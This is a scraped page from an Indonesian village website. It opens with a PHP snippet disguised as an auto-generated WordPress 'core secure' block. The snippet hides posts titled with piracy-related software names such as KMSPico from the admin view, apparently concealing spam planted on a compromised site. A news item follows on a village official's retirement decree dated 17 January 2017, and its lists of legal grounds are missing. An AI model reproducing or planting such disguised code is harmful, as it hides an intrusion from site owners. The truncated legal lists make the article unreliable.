# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Kades Sidanegara Serahkan SK Pemberhentian Kaur Kesra.
Sidanegara-Kaligondang. Kepala Desa Sidanegara Kecamatan Kaligondang – Purbalingga, Nurhayati siang tadi, selasa 17 Januari 2017 menyerahkan Surat Keputusan Pemberhentian Kepala Urusan (Kaur) Kesejahteraan Rakyat (Kesra) Desa Sidanegara kepada Tolib yang telah purna tugas.
Dalam sambutannya Nurhayati menyampaikan terimakasih dan penghargaan kepada Bapak Tolib yang telah mengabdikan dirinya sebagai Kaur Kesra di Desa Sidanegara selama 14 tahun, dan telah purna tugas terhitung sejak Tanggal 1 Januari 2017.
Selain penyerahan SK, juga diberikan kenang kenangan sebagai tali asih asih yang disampaikan oleh Sekretaris Desa Sidanegara, Supriyono.
Hadir pada kesempatan itu, Sekretaris Kecamatan (Sekcam) Kaligondang, Kasi Pemerintahan, Ketentraman dan Ketertiban Umum Kecamatan Kaligondang, Ketua BPD Desa Sidanegara, perangkat desa Sidanegara, seluruh Ketua RW dan Ketua RT Desa Sidanegara serta Unsur Tim Penggerak PKK Desa Sidanegara.
Sesuai Pasal 68 PP No 43 2014 tentang Peraturan Pelaksanaan UU No 6 2014 tentang Desa. Perangkat Desa berhenti karena :
Perangkat Desa Diberhentikan karena :
Seperti diketahui, sesuai ketentuan pasal 5 Peraturan Menteri Dalam Negeri (Permemdagri) No 83 Tahun 2015 tentang Pengangkatan dan Pemberhentian Perangkat Desa,
Perangkat Desa berhenti karena :
Sedangkan Perangkat Desa Diberhentikan karena :
Demikian pula disebutkan dalam Pasal 26 Peraturan Daerah (Perda) Kabupaten Purbalingga Nomor 3 Tahun 2016 tentang Tata Cara Pencalonan, Pengangkatan dan Pemberhentian Perangkat Desa
1. Perangkat Desa berhenti karena :
2. Perangkat Desa Diberhentikan karena :
]]>